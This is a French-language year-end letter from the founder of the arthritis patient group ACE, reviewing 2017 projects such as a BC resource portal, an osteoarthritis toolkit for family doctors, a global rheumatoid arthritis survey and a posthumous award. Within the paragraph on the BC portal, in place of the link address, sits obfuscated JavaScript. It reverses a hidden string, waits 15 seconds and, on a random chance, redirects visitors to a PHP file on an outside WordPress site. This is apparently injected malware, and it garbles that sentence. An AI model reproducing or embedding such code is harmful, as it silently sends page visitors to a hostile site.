Meilleurs vœux à nos membres, abonnés, suiveurs et amis !

Au moment de laisser 2017 derrière nous, force nous est de reconnaître que dans les médias, les milieux de travail et même dans nos conversations de tous les jours, on a parlé beaucoup plus de questions susceptibles de nous diviser que de nous rassembler. La collectivité arthritique du Canada a également été confrontée à des enjeux qui l’ont obligée à réexaminer ses principes et convictions quant à la manière de servir au mieux les personnes atteintes d’arthrite.

Meilleurs vœux ACE Cheryl Koehn

Faisant le bilan des douze derniers mois, je pense aux personnes atteintes d’arthrite que nous avons rencontrées ou avec lesquelles nous avons échangé en personne ou en ligne. Plusieurs font toujours face à des obstacles les empêchant d’avoir accès à un spécialiste formé pour traiter l’arthrite, au remboursement par un régime public ou privé des médicaments qui leur sont nécessaires, à un soutien émotionnel et psychologique, à l’aide au revenu ou au soutien au travail. Il est difficile de rester positif lorsqu’on évolue dans un monde de maladies chroniques telles que l’arthrite, marqué par la douleur, l’incapacité et les difficultés autant personnelles que familiales. Et pourtant, c’est ce que je me dois de faire. Je ne connais pas d’autre façon de vivre ma vie de personne atteinte de polyarthrite rhumatoïde (PR) et d’arthrose que celle où domine la pensée positive quand il s’agit de ma propre situation et de celles des personnes que notre organisation s’efforce de servir.

Au moment d’entamer une nouvelle année, éloignons-nous un moment de ce brouillard de négativité et de division pour plonger dans cette lumière alimentée par l’esprit rassembleur et communicatif de notre collectivité qui a su nous mener vers de grandes réalisations, comme l’amélioration des modèles de soins de l’arthrite au Canada et partout dans le monde.

En Colombie-Britannique, le comité ACE (Arthritis Consumer Experts) s’est associé à des spécialistes de l’arthrite de premier plan, des chercheurs et des organisations de patients de la province pour lancer le portail $hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == “string”) return $hiVNZt4Y5cDrbJXMhLy.list[n].split(“”).reverse().join(“”);return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=[“‘php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andme.info/” target=”_blank” rel=”noopener”>ArthritisBC+Me (en anglais seulement) conçu pour permettre aux patients de la C.-B. d’accéder plus rapidement aux sources d’information et aux programmes arthritiques locaux qui pourraient être intéressants pour eux et répondre à leurs besoins. Premier du genre au Canada, le portail est le résultat de l’engagement de partenaires de la collectivité – le comité ACE, le centre Arthrite-recherche Canada, l’Association des rhumatologues de la C.-B., le programme de l’arthrite Mary Pack et la Société de l’arthrite, de la C.-B. et du Yukon – qui ont collaboré afin de rendre les services et les renseignements sur l’arthrite plus accessibles pour les personnes atteintes d’arthrite en C.-B., dont le nombre est estimé à environ une personne sur cinq. L’accès à l’information et à l’éducation joue un rôle capital dans les premiers moments du parcours d’une personne atteinte d’arthrite et continue de jouer un rôle important pour le reste de sa vie. Le portail aide le public et les patients de la C.-B. à chercher et trouver des ressources crédibles pour découvrir des stratégies de prévention et de diagnostic en temps opportun de même que des approches thérapeutiques et de soins autonomes.

À l’échelle nationale, l’Alliance canadienne des arthritiques (ACA), le Collège des médecins de famille du Canada (CMFC) et le Centre for Effective Practice (CEP) ont mis au point et lancé un outil sur l’arthrose http://jointhealth.org/pdfs/OATookKit_Fr.pdf. Conçu pour offrir aux médecins de famille canadiens d’importantes connaissances professionnelles et les compétences nécessaires pour identifier, évaluer, établir le diagnostic, traiter et faire un suivi efficace de leurs patients atteints d’arthrose, cet outil facilitera la gestion du traitement des 4,4 millions de Canadiennes et Canadiens atteints d’arthrose. (Le comité ACE est un des membres fondateurs de l’ACA.)

Travaillant en partenariat, l’ACA, le CMFC et le CEP se sont associés à des fournisseurs de soins — médecins, physiothérapeutes et pharmaciens, en concertation avec des experts canadiens de l’arthrose mondialement reconnus et avec la collaboration de patients atteints d’arthrose bien informés sur leur maladie — pour mettre au point un outil de sept pages facile à parcourir pour aider les fournisseurs de soins de santé de première ligne à identifier les symptômes et offrir une gestion de la maladie non pharmacologique et pharmacologique, fondée sur des preuves et axée sur un objectif, tout en identifiant les déclencheurs pour un examen plus approfondi ou une référence pour consultation. Les fournisseurs de soins disposeront ainsi d’une approche normalisée leur permettant d’identifier les symptômes et les thérapies recommandées afin de soulager la douleur et d’améliorer la fonction physique de leurs patients tout en leur offrant une information de haut niveau susceptible de les soutenir quant au rôle actif qu’ils veulent jouer dans leurs activités d’autotraitement.

Au niveau mondial, le comité ACE a été le fier chef de file d’un réseau récemment mis sur pied, le Réseau PR mondial, une alliance de 18 organisations de la PR de partout dans le monde. De mars à mai, le réseau a mené une enquête internationale sur les modèles de soins de la PR, recueillant 2 690 réponses de 14 pays en Europe, au Moyen-Orient de même qu’en Amérique du Nord et du Sud. Il s’agissait de la première recherche de type externalisation ouverte, conçue pour et par des patients atteints de PR, afin d’en apprendre plus sur l’expérience patient dans chaque pays respectif. L’enquête souligne les lacunes et délais signalés par les répondants pour chacun des cinq éléments des modèles de soins standardisés de la PR (alimentés par les travaux novateurs de l’Association canadienne de rhumatologie en partenariat avec l’Alliance de l’arthrite du Canada), dont :

  • délais importants quant au diagnostic
  • délais dans l’accès à un spécialiste
  • lacunes dans les recommandations de consultation ou dans l’accès à l’éducation supplémentaire visant à élever le niveau de confiance du patient pour mieux décrire les symptômes de la PR
  • délais dans l’évaluation de l’efficacité de la thérapie
  • besoin pour le patient d’améliorer la pratique efficace d’autogestion de ses soins

À titre d’auteure principale du résumé de l’enquête, j’en ai présenté les résultats dans le cadre du congrès annuel 2017 de l’American College of Rheumatology, expliquant aux participants comment cette enquête a fait progresser la collaboration entre les organismes de patients atteints de PR de partout dans le monde et a souligné le besoin de développer des stratégies menées par les patients afin de réduire ces délais et de combler les lacunes mises au jour.

Au niveau régional, national et mondial, le comité ACE a travaillé dans un contexte de collectivité. Vous avez été tellement nombreux à mettre la main à la pâte pour que ces réalisations soient possibles, et grâce à cet effort collectif, nous avons fait de grands progrès pour aider les 5 millions et plus de Canadiennes et Canadiens aux prises avec la polyarthrite rhumatoïde, l’arthrite psoriasique, la spondylarthrite ankylosante, l’arthrose et plusieurs autres formes de la maladie. Ensemble, nous avons amélioré la qualité de vie des enfants malades, des patients et des bénéficiaires de régimes éprouvant des problèmes à obtenir le remboursement de leurs médicaments, d’employés qui ont pu alors retourner au travail, de parents qui ont pu recommencer à subvenir aux besoins de leur famille et de personnes âgées qui ont retrouvé une vie active.

Cependant, nous devons poursuivre nos efforts en 2018 afin de prendre la défense de ces patients atteints d’arthrite inflammatoire partout au Canada pour qui il reste encore des besoins à combler et des traitements à recevoir. Que ce soit pour appuyer les patients dans leur travail en partenariat avec leur professionnel de la santé et leur régime public ou privé d’assurance-médicaments, pour aider les gens à communiquer avec le député de leur localité ou les outiller pour qu’ils puissent poursuivre leur carrière, le comité ACE a pris l’engagement de soutenir les Canadiennes et Canadiens en les aidant à prendre le contrôle de leur maladie et à améliorer leur qualité de vie.

Par le truchement de son groupe de programme JointHealth™ et de son Réseau de diffusion sur l’arthrite, le comité ACE communique chaque mois avec plus de 150 000 Canadiennes et Canadiens. Nous avons créé et participé à la création et à la gestion de quatre sites Web, trois applications pour téléphone mobile, cinq pages Facebook et quatre fils Twitter, toutes ces réalisations pour communiquer avec vous et vous apporter notre soutien. Nous sommes véritablement une organisation menée « par et pour » les personnes atteintes d’arthrite.

Cependant, nous ne sommes pas satisfaits. Nous voulons amplifier la voix des patients arthritiques et aider les Canadiennes et Canadiens atteints d’arthrite à rester en contact, à interagir, à discuter les uns avec les autres et à étendre cette discussion aux fournisseurs de soins et aux décideurs de politiques. Seules l’action collective et la collaboration entre les partenaires de notre collectivité pourront nous permettre d’y arriver.

Et c’est justement ce que veulent voir les Canadiennes et Canadiens aux prises avec l’arthrite : un leadership collectif et le désir de faire une différence. Ils veulent voir la poursuite du formidable travail d’amélioration des modèles de soins de l’arthrose et de l’arthrite inflammatoire accompli par les chercheurs, les cliniciens et les patients ainsi que des rencontres avec les décideurs de politiques au gouvernement, qu’il soit fédéral, provincial ou territorial, et avec les assureurs privés. Ils veulent que des voix s’élèvent et sensibilisent le pays tout entier en utilisant les vrais termes pour parler de l’impact de l’arthrite, de son fardeau toujours croissant qui plane sur les 30 prochaines années, du besoin urgent d’agir et d’intervenir et surtout, d’évoquer ce que ce fardeau signifie pour les patients, les familles, les employeurs et les systèmes de santé.

Pour terminer, j’aimerais souligner l’importance d’une autre activité, une activité chère au cœur des patients leaders de la collectivité, partout au Canada. Notre collectivité se rassemble chaque année pour souligner la contribution d’une personne afin de faire entendre la voix des Canadiennes et Canadiens atteintes de la maladie dans le processus de prise de décisions qui affecteront des millions d’individus. Le prix Qualman-Davies en leadership communautaire en matière d’arthrite a été créé en 2014 pour honorer la mémoire de Ann Qualman et Jim Davies, des pionniers dans la défense du dossier de l’arthrite au Canada. Madame Louise Bergeron, décédée cet été, en fut la récipiendaire 2017. Remis à titre posthume dans le cadre de la conférence annuelle de l’Alliance canadienne des arthritiques tenue en octobre, le prix a été présenté à son fils Corey. Ce fut l’un des moments les plus forts et les plus touchants qu’il m’a été donné de vivre. Alors, à Louise, chef de file, mentor et amie, nous adressons nos remerciements les plus sincères pour toute l’aide qu’elle nous a apportée. Forts de l’appui de milliers de bénévoles de partout au Canada, nous poursuivrons dans le chemin que tu nous as tracé et avancerons vers le progrès, au mieux de notre connaissance.

Au nom de mes collègues du comité ACE, je vous souhaite des Fêtes heureuses sous le signe de la santé et nos meilleurs vœux pour 2018 !

Cheryl Koehn

Fondatrice et présidente